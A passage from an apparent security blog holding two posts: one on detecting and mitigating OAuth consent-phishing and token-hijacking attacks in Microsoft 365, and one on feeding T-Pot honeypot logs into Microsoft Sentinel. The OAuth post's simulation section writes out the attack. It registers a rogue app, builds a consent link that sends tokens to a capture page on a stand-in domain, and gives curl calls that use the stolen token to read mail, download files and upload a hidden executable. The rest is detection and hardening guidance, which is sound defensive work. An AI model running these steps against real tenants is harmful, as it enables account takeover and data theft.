authentication controls, and establish long-term persistence within corporate environments.\nThis blog post explores OAuth threats, real-world attacks, and effective mitigation strategies based on Microsoft’s findings regarding Midnight Blizzard’s attack on Microsoft in 2024. We will also outline steps for manually monitoring, detecting, and automatically mitigating OAuth-based attacks using Microsoft Defender for Cloud Apps (MDCA) App Governance and some basic security best practices.\nUnderstanding OAuth threats OAuth attacks typically involve exploiting misconfigured permissions, excessive application access, and inadequate oversight. Key risks include:\nToken Hijacking – Attackers steal OAuth refresh tokens to maintain long-term access without reauthentication. Consent Phishing – Attackers craft deceptive OAuth applications to trick users into granting unnecessary permissions. Privilege Escalation – Malicious apps request excessive privileges to exfiltrate data or manipulate user actions. Application Impersonation – Threat actors use legitimate-looking apps to bypass MFA and persist within an environment. Examples of OAuth attacks 1. OAuth Applications to Deploy Virtual Machines for Cryptomining\nIn December 2023, Microsoft Threat Intelligence reported that threat actors exploited compromised user accounts to create OAuth applications with elevated privileges. These malicious applications were then used to deploy virtual machines (VMs) within the organization’s cloud infrastructure for cryptocurrency mining. This unauthorized activity led to increased operational costs and resource consumption for the affected organizations. ​\n2. OAuth Applications for Business Email Compromise (BEC) and Phishing\nAttackers have leveraged malicious OAuth applications to maintain persistent access to compromised email accounts, facilitating Business Email Compromise (BEC) schemes and phishing campaigns. By embedding themselves within the organization’s email system, these applications enable threat actors to intercept communications, impersonate employees, and distribute phishing emails internally and externally, increasing the likelihood of successful attacks. ​\n3. OAuth Applications for Spamming Activity\nThreat actors have also used OAuth applications to send large volumes of spam emails through compromised accounts. By exploiting the organization’s email infrastructure, attackers can distribute spam messages more effectively, often bypassing traditional security filters. This not only damages the organization’s reputation but can also lead to domain blacklisting and reduced email deliverability. ​\n4. Midnight Blizzard’s Nation-State Attack\nIn January 2024, Microsoft’s security team detected a sophisticated nation-state attack targeting its corporate systems, attributed to the Russian state-sponsored actor known as Midnight Blizzard (also referred to as NOBELIUM). The attackers exploited trusted third-party applications and leveraged OAuth tokens to infiltrate target networks, demonstrating the advanced tactics employed by nation-state actors to compromise organizational security.\nSimulating an OAuth token hijacking attack To better understand how an attacker can exploit OAuth token hijacking, we’ll walk through an attack simulation based on techniques used in common attacks. This simulation demonstrates how a hacker compromises a user, steals OAuth tokens, and gains access to an organization’s cloud environment. This is not the exact Mightnight Blizzard attack, but shows the possibilities with OAuth tokens.\nThe attacker first registers a rogue OAuth application in Azure AD to serve as the vehicle for stealing user tokens. A common tactic used in past adversaries is leveraging free Microsoft Developer Tenants to create these rogue applications. Microsoft shut these tenants down, but you can try this with 2 tenants of your own.\n1. Register the malicious application The attacker creates a new app registration in Azure AD (for the url I wrote a php file on my own domain/server – that captures the token when the user consents later on via the redirect url):\naz ad app create --display-name \u0026#34;TrustedApp\u0026#34; --identifier-uris \u0026#34;https://www.domain.xx/capture.html\u0026#34; 2. Configure the application to request high privileges The attacker configures the OAuth app to request dangerous permissions, such as:\naz ad app permission add --id \u0026lt;Malicious_App_ID\u0026gt; --api \u0026lt;MicrosoftGraph_API_ID\u0026gt; --scope \u0026#34;Mail.ReadWrite Files.ReadWrite.All\u0026#34; 3. Generate a consent link to trick victims Once the rogue app is set up, the attacker generates a Microsoft OAuth consent URL and embeds it in a phishing email:\nhttps://login.microsoftonline.com/organizations/oauth2/v2.0/authorize? client_id=\u0026lt;Malicious_App_ID\u0026gt;\u0026amp; response_type=token\u0026amp; redirect_uri=https://www.domain.xx/capture.html\u0026amp; scope=User.Read Mail.ReadWrite Files.ReadWrite offline_access The email impersonates a trusted cloud service (e.g., an IT helpdesk or a security update notification). If the victim clicks the link and grants consent, the attacker gains persistent access to their Microsoft 365 account without needing their credentials.\nIf the user clicks and grants consent, the attacker’s rogue OAuth application gains access to their Microsoft 365 account, including emails, files, and possible administrative privileges Even if the user has MFA enabled, the attack succeeds because OAuth grants do not require re-authentication once approved (as long as the token is valid) There are some other things that need to be configured for it to be successful like type token issuance, multi tenant API access, non-restricted enterprise app consent etc. 4. Using the extracted token to move around in the environment After obtaining initial access, an attacker can query the environment by using the extracted OAuth tokens and the Microsoft Graph API. Some examples below with the permissions I requested (limited to only file/mail/offline access):\nCheck assigned roles:\nBashcurl -X GET -H \u0026#34;Authorization: Bearer YOUR_ACCESS_TOKEN\u0026#34; \\ https://graph.microsoft.com/v1.0/me/memberOf Get information about the displayName, userPrincipalName and profile info:\nBashcurl -X GET -H \u0026#34;Authorization: Bearer YOUR_ACCESS_TOKEN\u0026#34; \\ https://graph.microsoft.com/v1.0/me?$select=displayName,userPrincipalName,assignedLicenses Query the permissions granted by the malicous app:\nBashcurl -X GET -H \u0026#34;Authorization: Bearer YOUR_ACCESS_TOKEN\u0026#34; \\ https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants List all the files in OneDrive \u0026amp; download an example:\nBashcurl -X GET -H \u0026#34;Authorization: Bearer YOUR_ACCESS_TOKEN\u0026#34; \\ https://graph.microsoft.com/v1.0/me/drive/root/children Bashcurl -X GET -H \u0026#34;Authorization: Bearer YOUR_ACCESS_TOKEN\u0026#34; \\ -o \u0026#34;stolen_file.pdf\u0026#34; \\ https://graph.microsoft.com/v1.0/me/drive/root:/Documents/Confidential.pdf:/content Upload a hidden (malicious?) file in OneDrive:\nBashcurl -X PUT -H \u0026#34;Authorization: Bearer YOUR_ACCESS_TOKEN\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;@microsoft.graph.conflictBehavior\u0026#34;: \u0026#34;rename\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;.system-config.exe\u0026#34; }\u0026#39; \\ https://graph.microsoft.com/v1.0/me/drive/root:/Documents/.system-config.exe:/content Read e-mails directly from the mailbox:\nBashcurl -X GET -H \u0026#34;Authorization: Bearer YOUR_ACCESS_TOKEN\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ \u0026#34;https://graph.microsoft.com/v1.0/me/messages?$top=10\u0026#34; Imagine, with even permissions, I could easily query all the users, refresh tokens, create new malicious apps, make forwards in the inbox, send phishing messages through Teams and even more if I added more permission in the initial consent and move lateral in the environment.\nIdentifying suspicious OAuth applications manually OAuth-based attacks require a structured approach for detection and response. The following steps outline steps that security teams can use to investigate OAuth applications:\n1. Review OAuth consent events in Audit Log Microsoft Entra ID logs every instance where a user consents to an application requesting permissions.\nSteps:\nGo to Microsoft Entra admin center Navigate to Monitoring \u0026gt; Audit Logs In the filter bar, set Operation to Consent to application Review the log entries: Initiated by: which user granted consent Target resources: app name and ID Modified properties: permissions granted (usually in JSON format) What to look for:\nUnknown or suspicious application names Unusual permissions such as: Mail.ReadWrite User.ReadWrite.All Files.ReadWrite.All offline_access 2. Identify risky applications via Enterprise Applications The Enterprise Applications blade in Entra ID lists all applications registered in your tenant and their access level.\nSteps:\nIn the Entra admin center, go to Applications \u0026gt; Enterprise applications Set the filter to Application type: All Applications Sort by Users or Last sign-in to find active apps Select an app to investigate: Review the Overview tab for the application ID, publisher, and verified status Go to Permissions to review API permissions granted Under Users and groups, view who has access or has consented What to look for:\nApps with no verified publisher Apps granted broad or high-risk permissions Apps with access granted by many users or without IT knowledge 3. Investigate app permissions and consent details Steps:\nFrom within the app view (Enterprise Applications \u0026gt; [App Name]): Click Permissions Review whether access was user-consented or admin-consented For admin-consented apps: These have tenant-wide access and require immediate review if suspicious Click on each permission to see the associated scopes (Graph API, Exchange, etc.) What to look for:\nAdmin-consented apps that are not officially approved Delegated permissions with read/write access to sensitive services 4. Cross-reference with Sign-in logs (optional for Behavior Analysis) To verify whether a suspicious app has been actively used:\nSteps:\nGo to Monitoring \u0026gt; Sign-in logs Add the Application column (if not visible, click Columns \u0026gt; Add) Filter by application name (as identified in Enterprise Apps) Analyze: Frequency of sign-ins Locations and IP addresses Sign-ins at unusual times or from service principals Investigating with KQL Queries in Microsoft Sentinel List All OAuth consents granted (AuditLogs) KQLAuditLogs | where OperationName == \u0026#34;Consent to application\u0026#34; | extend InitiatingUser = tostring(InitiatedBy.user.userPrincipalName) | extend AppName = tostring(parse_json(TargetResources[0].displayName)) | extend AppId = tostring(TargetResources[0].id) | extend Permissions = tostring(parse_json(TargetResources[0].modifiedProperties)[0].newValue) | project TimeGenerated, InitiatingUser, AppName, AppId, Permissions | sort by TimeGenerated desc Identify apps with high-risk permissions KQLAuditLogs | where OperationName == \u0026#34;Consent to application\u0026#34; | extend Permissions = tostring(parse_json(TargetResources[0].modifiedProperties)[0].newValue) | extend AppName = tostring(parse_json(TargetResources[0].displayName)) | extend User = tostring(InitiatedBy.user.userPrincipalName) | where Permissions has_any(\u0026#34;Mail.ReadWrite\u0026#34;, \u0026#34;Mail.Send\u0026#34;, \u0026#34;Files.ReadWrite\u0026#34;, \u0026#34;offline_access\u0026#34;, \u0026#34;User.ReadWrite.All\u0026#34;, \u0026#34;Directory.ReadWrite.All\u0026#34;) | project TimeGenerated, User, AppName, Permissions Apps consented by multiple users KQLAuditLogs | where OperationName == \u0026#34;Consent to application\u0026#34; | extend AppName = tostring(parse_json(TargetResources[0].displayName)) | extend User = tostring(InitiatedBy.user.userPrincipalName) | summarize UsersGrantingConsent = make_set(User), ConsentCount = count() by AppName | where ConsentCount \u0026gt; 3 // You can lower the threshold for more sensitive environments Apps making suspicious API calls (via CloudAppEvents) KQLCloudAppEvents | where ActivityType has \u0026#34;OAuth\u0026#34; or Application has_any(\u0026#34;Graph\u0026#34;, \u0026#34;Exchange Online\u0026#34;) | extend App = tostring(RawEventData.appDisplayName) | extend Action = tostring(RawEventData.activityType) | extend UPN = tostring(RawEventData.user.userPrincipalName) | extend Permissions = tostring(RawEventData.appPermissions) | where Permissions has_any(\u0026#34;Mail.ReadWrite\u0026#34;, \u0026#34;Mail.Send\u0026#34;, \u0026#34;User.ReadWrite.All\u0026#34;, \u0026#34;Files.ReadWrite.All\u0026#34;) | project Timestamp, UPN, App, Permissions, Action Investigating consent grants with PowerShell Using Get-AzureADPSPermissions script Download the script from GitHub: Get-AzureADPSPermissions.ps1 Open PowerShell as Administrator and navigate to the script folder Connect to Microsoft Entra ID: PowerShellConnect-AzureAD -tenantid \u0026#34;your-tenant-id\u0026#34; -AccountId \u0026#34;admin@yourdomain.com\u0026#34; Run the script to export OAuth permissions: PowerShell.\\Get-AzureADPSPermissions.ps1 | Export-Csv C:\\temp\\OAuthPermissions.csv -NoTypeInformation After execution, disconnect from Microsoft Entra: PowerShellDisconnect-AzureAD Analyze the exported CSV file, filtering for: ConsentType: Identify AllPrincipals entries affecting all users Permissions: Look for ReadWrite or All permissions that might be excessive AppDisplayName: Spot applications with suspicious or unfamiliar names ReplyURL/RedirectURL: Verify that URLs belong to trusted domains U sing the new Microsoft Defender for Cloud Apps – App Governance (automated) Recently, Microsoft introduced App Governance, a powerful capability that brings much-needed visibility and control over OAuth applications across your environment.\nThis new feature is the reason I started writing this blog\nApp Governance helps bridge a critical gap in securing app-based access, and it’s an important step forward in protecting your Microsoft 365 data from misuse through third-party or malicious applications.\nDetect malicious OAuth applications Block suspicious OAuth consent grants automatically Monitor API permissions and OAuth tokens in real-time Automatically revoke over-permissioned applications Step 1: Enable App Governance Sign in to the Microsoft Defender Security Portal Navigate to Cloud Apps → App Governance Click Enable App Governance and accept the required permissions Ensure Global Administrator or Security Administrator permissions are assigned to configure policies Step 2: Audit OAuth apps Navigate to Cloud Apps → App Governance Dashboard Click Connected Applications to view all OAuth apps in use Use the Risk Score to identify high-risk OAuth applications Review permissions granted to each app and identify over-permissioned applications Select an app and revoke unnecessary permissions or remove untrusted apps Step 3: Automate security policies Go to Policies → Create Policy Select OAuth App Policy and define conditions, such as: Apps requesting high-risk permissions (e.g., Mail.Send, Files.ReadWrite) Newly authorized apps requesting broad access Unusual OAuth activity such as mass consent grants Configure the policy action: Alert administrators Automatically revoke access to high-risk apps Block new risky OAuth grants Click Save Policy to enforce automatic security actions Best Practices to prevent OAuth Attacks Next month, I’ll publish a complete blog post covering every Microsoft Entra and Microsoft 365 setting you need to configure to fully protect your environment against these attacks.\nIn the meantime, here are the essential configurations and practices you should already have in place to reduce your exposure.\n1. Restrict OAuth app consents Disable user consent for unverified applications Enable Admin Consent Workflow in Microsoft Entra ID Use Conditional Access policies to block risky OAuth apps 2. Implement strong authentication and authorization controls Require Multi-Factor Authentication (MFA) for all OAuth-based sign-ins Enforce least privilege access to limit the permissions assigned to apps 3. Monitor and detect unusual OAuth activity Continuously monitor OAuth activities using Microsoft Sentinel and Defender for Cloud Apps Set up alerts for high-risk permissions to detect suspicious applications Automate detection and response to OAuth-based threats using Microsoft Defender XDR 4. Enable Automatic Attack Disruption Use Microsoft Automatic Attack Disruption to detect and contain OAuth attacks in real-time Implement threat intelligence-based detection to respond to sophisticated OAuth-based attacks Integrate SIEM, XDR and SOAR solutions to automate investigation and remediation workflows By following these best practices, organizations can harden OAuth security, quickly detect threats, and minimize the impact of unauthorized OAuth activity\nAdditional Resources https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/\nhttps://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/\nConclusion The Midnight Blizzard attack demonstrated how attackers can persist in an environment without needing to compromise passwords again. OAuth token hijacking is a stealthy and highly effective attack vector, making it crucial for organizations to:\n✅ Monitor OAuth token activity and refresh token usage\n✅ Detect unauthorized OAuth grants and token exchanges\n✅ Revoke inactive OAuth tokens periodically\n✅ Strengthen Conditional Access policies for OAuth apps\nBy implementing Microsoft Defender for Cloud Apps’ App Governance, security teams can proactively manage OAuth applications, prevent misuse, and enhance cloud security. Organizations that fail to secure OAuth expose themselves to long-term compromises, unauthorized access, and compliance violations.\n","date":"21 January 2025","externalUrl":null,"permalink":"/oauth-attacks-microsoft-app-governance-mda/","section":"All articles","summary":"","title":"OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)","type":"posts"},{"content":" Introduction In the face of increasing cybersecurity threats, early detection and analysis of attack behaviors are essential for proactive defense. Honeypots are invaluable tools that simulate vulnerable systems, attracting malicious actors and enabling security teams to study real attack methods without risking production environments.\nT-pot is an advanced honeypot framework that combines multiple honeypots, each simulating specific services like SSH, web servers, and industrial control systems (ICS). By integrating T-pot with Microsoft Sentinel, a cloud-native Security Information and Event Management (SIEM) tool, security teams can centralize honeypot data, enabling real-time analysis, monitoring, and automated alerting.\nThis guide walks you through each step to configure T-pot, set up data collection rules (DCR) with the Azure Monitor Agent (AMA), and create visualizations and alerts in Sentinel to leverage T-pot data as a valuable source of threat intelligence.\nPrerequisites Ensure you have the following resources and configurations in place to successfully integrate T-pot with Microsoft Sentinel using data collection rules:\nRequirementDescriptionAzure subscriptionRequired to access Log Analytics and Microsoft SentinelLog Analytics workspaceA Log Analytics workspace in Azure to collect and analyze logs from T-pot honeypotsDedicated server for T-potRecommended specs: 4 CPU cores, 8 GB RAM (16 GB preferred), and 128 GB SSDAzure Monitor Agent (AMA)Installed on the T-pot server to securely forward logs using DCRNetwork configurationAssign a static IP to the T-pot server, with necessary ports open for Azure connectivity T-pot basics T-Pot is designed as a highly modular and containerized honeypot solution, providing an out-of-the-box experience for capturing and analyzing malicious traffic. It comes preconfigured with several powerful modules that cater to various aspects of threat detection and analysis. Leveraging Docker containers for modularity, T-Pot ensures that each honeypot instance and its supporting services operate independently, making it highly flexible and resilient.\nKey Modules and Capabilities Honeypots: T-Pot integrates a variety of honeypots, including Cowrie (SSH/Telnet), Dionaea (malware collection), Elasticpot (Elasticsearch), and others, to attract and log different types of malicious activities. Each honeypot is optimized for capturing specific threat vectors, from brute-force attacks to vulnerability exploits and malware delivery attempts. Data Visualization and Management: Kibana: Offers a powerful web-based interface for visualizing logs and attack patterns stored in Elasticsearch. With prebuilt dashboards, you can quickly assess incoming threats and identify attack trends. Attack Map: T-Pot includes a live, real-time global attack map that visualizes connections and attack attempts, providing insights into threat actor origins and targets. Cockpit: A server management tool for monitoring system health, performance, and logs via a secure web interface. Dockerized Architecture: T-Pot uses Docker to isolate each honeypot and supporting service, ensuring operational independence and easier maintenance. This architecture makes T-Pot highly scalable, as you can add or remove honeypots without affecting the core platform. Integrated Threat Analysis Tools: The stack also includes Heralding for monitoring authentication attempts and Tarpit to capture and delay malicious connections. These components work together to provide a seamless and integrated view of your honeypot environment, empowering you to detect, analyze, and respond to threats with minimal configuration effort.\nSetting up the T-pot honeypot environment Installing T-pot from the repository Prepare your server with a fresh installation of Ubuntu Server 22.04 or newer and ensure all packages are updated:\nBashsudo apt update \u0026amp;\u0026amp; sudo apt upgrade -y Install essential tools like Git, Curl, and Wget:\nBashsudo apt install git curl wget -y Create a new user (in my example I name it tpotuser):\nadduser tpotuser usermod -aG sudo tpotuser su - tpotuser Clone the T-pot repository from GitHub:\nBashgit clone https://github.com/telekom-security/tpotce.git Navigate to the installer directory:\nBashcd tpotce Run the installation script to begin setup\nBash./install.sh Follow the prompts, this will:\nChange the SSH port to tcp/64295 Disable the DNS Stub Listener to avoid port conflicts with honeypots Set SELinux to Monitor Mode Set the firewall target for the public zone to ACCEPT Add Docker’s repository and install Docker Install recommended packages Remove packages known to cause issues Add the current user to the docker group (allow docker interaction without sudo) Add dps and dpsw aliases (grc docker ps -a, watch -c \u0026quot;grc --colour=on docker ps -a) Add la, ll and ls aliases (for exa, a improved ls command) Add mi (for micro, a great alternative to vi and / or nano) Display open ports on the host (compare with T-Pot required ports) Add and enable tpot.service to /etc/systemd/system so T-Pot can automatically start and stop Reboot the system after installation completes:\nBashsudo reboot Make sure to SSH into the new port (64295), otherwise you won’t be able to get back into the server.\nExploring T-Pot’s unified web interfaces T-Pot provides centralized access to its monitoring, management, and analysis tools through a single port and web-based structure. All interfaces are accessible under the https://\u0026lt;server-ip\u0026gt;:64297/ base URL, simplifying navigation while maintaining a clean and unified setup. While my setup has everything based on my default IP, you can change them to your own configuration if needed ;).\nDefault URLs for T-Pot web interfaces Portal name Purpose Default URL T-Pot Dashboard Central access point for T-Pot services https://\u0026lt;server-ip\u0026gt;:64297/ Attack Map Real-time global attack visualization https://\u0026lt;server-ip\u0026gt;:64297/map/ CyberChef A tool for decoding, encoding, and analyzing data https://\u0026lt;server-ip\u0026gt;:64297/cyberchef/ Elasticvue Visualization and management for Elasticsearch https://\u0026lt;server-ip\u0026gt;:64297/elasticvue/ Kibana Log visualization and analysis tool https://\u0026lt;server-ip\u0026gt;:64297/kibana/ Spiderfoot Open-source reconnaissance tool https://\u0026lt;server-ip\u0026gt;:64297/spiderfoot/ Portainer (if enabled) Docker container management interface. Not explicitly mapped in T-Pot (but if enabled :9443) Details of web interfaces you will probably use the most T-Pot Dashboard URL: https://\u0026lt;server-ip\u0026gt;:64297/ Attack Map URL: https://\u0026lt;server-ip\u0026gt;:64297/map/ Kibana URL: https://\u0026lt;server-ip\u0026gt;:64297/kibana/ CyberChef URL: https://\u0026lt;server-ip\u0026gt;:64297/cyberchef/ Installing Azure Monitor Agent (AMA) and configuring DCR When integrating T-Pot with Microsoft Sentinel, a critical step is configuring data ingestion. Azure offers several options for collecting and forwarding logs, but the process can vary depending on your setup and the tools you use. Here, we’ll discuss the onboarding requirements for Data Collection Rules (DCR), the benefits of Azure Arc, and alternative log-forwarding methods.\nOnboarding to Azure Arc for DCR To use Data Collection Rules (DCR) effectively, your server must be onboarded to the Azure Monitor Agent (AMA). AMA requires Azure Arc onboarding for non-Azure servers, such as those running on on-premises or third-party cloud providers.\nWhy onboard to Azure Arc? Azure Arc extends Azure management and monitoring capabilities to non-Azure resources, including:\nDCR Functionality: Arc-enabled servers can leverage the full benefits of DCR, including granular log filtering and routing to multiple destinations Centralized Management: Manage all your servers (Azure and non-Azure) in a single pane of glass using Azure Advanced Monitoring: Use tools like Log Analytics and Sentinel seamlessly for hybrid environments Benefits of Azure Arc with AMA Simplifies management for hybrid and multi-cloud environments Enables DCR for precise log filtering and forwarding Provides seamless integration with Microsoft Sentinel for advanced threat detection Alternative Log Collection and Forwarding Scenarios If onboarding to Azure Arc is not an option or if you’re exploring other setups, there are several alternative methods for forwarding logs to Microsoft Sentinel:\nLogstash Scenario: Useful if you’re already using the Elastic Stack to manage logs Benefits: Allows advanced log transformation and enrichment Easily integrates with Elasticsearch setups Log Analytics HTTP Data Collector API Scenario: Ideal for custom or lightweight setups where you want to send logs directly without relying on AMA or Logstash. Benefits: Provides a lightweight, flexible solution for direct log ingestion Can be used for specific log types or custom workflows Syslog forwarding Scenario: Leverages native Syslog for environments already configured with centralized Syslog servers. Benefits: Integrates easily with existing Syslog infrastructure Simplifies log forwarding to AMA through facilities and severities Choosing the best approach Scenario Best Method On-premises or non-Azure cloud server Onboard to Azure Arc and AMA Existing Elastic Stack environment Use Logstash Lightweight custom integration Use the Log Analytics HTTP API Existing Syslog setup Configure AMA for Syslog forwarding By onboarding your server to Azure Arc and AMA, you gain the most seamless experience with Microsoft Sentinel, including full support for DCR. In my example I onboarded my T-Pot server to ARC and enabled the monitoring extension:\nHowever, alternative methods like Logstash and APIs offer flexibility for more customized setups, enterprise etc. Each method comes with its own benefits, and the choice depends on your specific infrastructure and operational needs.\nCreating data collection rules (DCR) When integrating T-Pot with Microsoft Sentinel, creating a Data Collection Rule (DCR) is a critical step to ingest logs from T-Pot honeypots. This process requires precise configuration to ensure only relevant data is collected, saving costs while maintaining functionality.\nThis section will guide you through configuring DCR based on the working T-Pot setup. We’ll use the correct file paths for T-Pot logs, enable only the necessary JSON files to be ingested, as you can read on the KB from Microsoft:\nhttps://learn.microsoft.com/en-us/azure/azure-monitor/agents/data-collection-log-json\nCorrect File Paths for T-Pot Logs Each honeypot in T-Pot generates logs in specific JSON files, typically stored under the /home/tpotuser/tpotce/data/\u0026lt;honeypot\u0026gt;/log directory. For the honeypots I usually ingest (and find most useful), I covered them in this setup, here are the relevant log files:\nCowrie: /home/tpotuser/tpotce/data/cowrie/log/cowrie.json Dionaea: /home/tpotuser/tpotce/data/dionaea/log/dionaea.json Elasticpot: /home/tpotuser/tpotce/data/elasticpot/log/elasticpot.json Creating the Data Collection Endpoint (DCE) The DCE serves as the gateway for Azure Monitor to ingest logs from T-Pot honeypots (add it via Azure Cloud Shell – as MS doesnt allow to do this via the portal at this moment) :\nPowerShell# Parameters $SubscriptionId = \u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34; $ResourceGroupName = \u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34; $DCEName = \u0026#34;Tpot-DCE\u0026#34; $Location = \u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34; $ApiVersion = \u0026#34;2023-03-11\u0026#34; # Construct the API URL using UriBuilder $UriBuilder = New-Object System.UriBuilder(\u0026#34;https://management.azure.com\u0026#34;) $UriBuilder.Path = \u0026#34;/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.Insights/dataCollectionEndpoints/$DCEName\u0026#34; $UriBuilder.Query = \u0026#34;api-version=$ApiVersion\u0026#34; $Uri = $UriBuilder.Uri.AbsoluteUri # DCE Body $DCEBody = @{ location = $Location properties = @{ publicNetworkAccess = \u0026#34;Enabled\u0026#34; } } # Convert to JSON $DCEBodyJson = $DCEBody | ConvertTo-Json -Depth 10 -Compress # Execute REST API Request Invoke-RestMethod -Uri $Uri -Method Put -Body $DCEBodyJson -ContentType \u0026#34;application/json\u0026#34; -Headers @{ Authorization = \u0026#34;Bearer $(az account get-access-token --query accessToken -o tsv)\u0026#34; } Creating Custom Tables Cowrie Custom Table This will create a custom table, for in my case Cowrie, based on the schema of the Cowrie JSON columns/output and information needed. My attempt to create a table is based on the analytics tier (because I can only choose basic or analytic tiers in my region), but I suggest to choose the new Auxiliary logs for reducing costs.\nPowerShell# Parameters $WorkspaceName = \u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34; $TableName = \u0026#34;cowrie_tpot_CL\u0026#34; $ApiVersion = \u0026#34;2021-12-01-preview\u0026#34; # Table Schema $TableSchema = @\u0026#34; { \u0026#34;properties\u0026#34;: { \u0026#34;schema\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;$TableName\u0026#34;, \u0026#34;columns\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;TimeGenerated\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;datetime\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;FilePath\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;string\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;eventid\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;string\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;src_ip\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;string\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;username\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;string\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;password\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;string\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;message\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;string\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;sensor\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;string\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;session\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;string\u0026#34; } ] } } } \u0026#34;@ # API URL $UriBuilder = New-Object System.UriBuilder(\u0026#34;https://management.azure.com\u0026#34;) $UriBuilder.Path = \u0026#34;/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.OperationalInsights/workspaces/$WorkspaceName/tables/$TableName\u0026#34; $UriBuilder.Query = \u0026#34;api-version=$ApiVersion\u0026#34; $TableUri = $UriBuilder.Uri.AbsoluteUri # Execute REST API Request Invoke-RestMethod -Uri $TableUri -Method Put -Body $TableSchema -ContentType \u0026#34;application/json\u0026#34; -Headers @{ Authorization = \u0026#34;Bearer $(az account get-access-token --query accessToken -o tsv)\u0026#34; } Repeat this process for Dionaea and Elasticpot, replacing $TableName and updating columns to match their respective log structures. The best thing to match the columns is to take snippets/examples of the current logfiles you have.\nCreating the Data Collection Rule (DCR) Cowrie DCR PowerShell# Parameters $DCRName = \u0026#34;cowrie_tpot_dcr\u0026#34; $DCEId = \u0026#34;/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.Insights/dataCollectionEndpoints/Tpot-DCE\u0026#34; $WorkspaceId = \u0026#34;/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.OperationalInsights/workspaces/$WorkspaceName\u0026#34; $FilePath = \u0026#34;/home/tpotuser/tpotce/data/cowrie/log/cowrie.json\u0026#34; $ApiVersion = \u0026#34;2023-03-11\u0026#34; # DCR Body $DCRBody = @{ location = $Location properties = @{ dataCollectionEndpointId = $DCEId streamDeclarations = @{ \u0026#34;Custom-cowrie_tpot_CL\u0026#34; = @{ columns = @( @{ name = \u0026#34;TimeGenerated\u0026#34;; type = \u0026#34;datetime\u0026#34; }, @{ name = \u0026#34;FilePath\u0026#34;; type = \u0026#34;string\u0026#34; }, @{ name = \u0026#34;eventid\u0026#34;; type = \u0026#34;string\u0026#34; }, @{ name = \u0026#34;src_ip\u0026#34;; type = \u0026#34;string\u0026#34; }, @{ name = \u0026#34;username\u0026#34;; type = \u0026#34;string\u0026#34; }, @{ name = \u0026#34;password\u0026#34;; type = \u0026#34;string\u0026#34; }, @{ name = \u0026#34;message\u0026#34;; type = \u0026#34;string\u0026#34; }, @{ name = \u0026#34;sensor\u0026#34;; type = \u0026#34;string\u0026#34; }, @{ name = \u0026#34;session\u0026#34;; type = \u0026#34;string\u0026#34; } ) } } dataSources = @{ logFiles = @( @{ name = \u0026#34;CowrieLog\u0026#34; streams = @(\u0026#34;Custom-cowrie_tpot_CL\u0026#34;) filePatterns = @($FilePath) format = \u0026#34;json\u0026#34; } ) } destinations = @{ logAnalytics = @( @{ name = \u0026#34;workspace\u0026#34; workspaceResourceId = $WorkspaceId } ) } dataFlows = @( @{ streams = @(\u0026#34;Custom-cowrie_tpot_CL\u0026#34;) destinations = @(\u0026#34;workspace\u0026#34;) } ) } } # Convert to JSON and Execute REST API Request $DCRBodyJson = $DCRBody | ConvertTo-Json -Depth 10 -Compress $UriBuilder.Path = \u0026#34;/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroupName/providers/Microsoft.Insights/dataCollectionRules/$DCRName\u0026#34; $UriBuilder.Query = \u0026#34;api-version=$ApiVersion\u0026#34; $DCRUri = $UriBuilder.Uri.AbsoluteUri Invoke-RestMethod -Uri $DCRUri -Method Put -Body $DCRBodyJson -ContentType \u0026#34;application/json\u0026#34; -Headers @{ Authorization = \u0026#34;Bearer $(az account get-access-token --query accessToken -o tsv)\u0026#34; } Repeat for Dionaea and Elasticpot, adjusting $FilePath and $DCRName.\nAlso make sure to check whether the DCE is correctly added to the DCR (as resource):\nValidating Data If needed you can also create test alerts directly in T-pot, for example into the Cowrie JSON, from a shell:\nBashecho \u0026#39;{\u0026#34;eventid\u0026#34;: \u0026#34;cowrie.test.log\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Test message for Cowrie\u0026#34;, \u0026#34;timestamp\u0026#34;: \u0026#34;2024-12-30T17:00:00Z\u0026#34;}\u0026#39; \u0026gt;\u0026gt; /home/tpotuser/tpotce/data/cowrie/log/cowrie.json Run the following KQL queries in Log Analytics to see if the data is ingested into the custom table you’ve created:\nCowrie Data KQLcowrie_tpot_CL | take 10 Visualizing 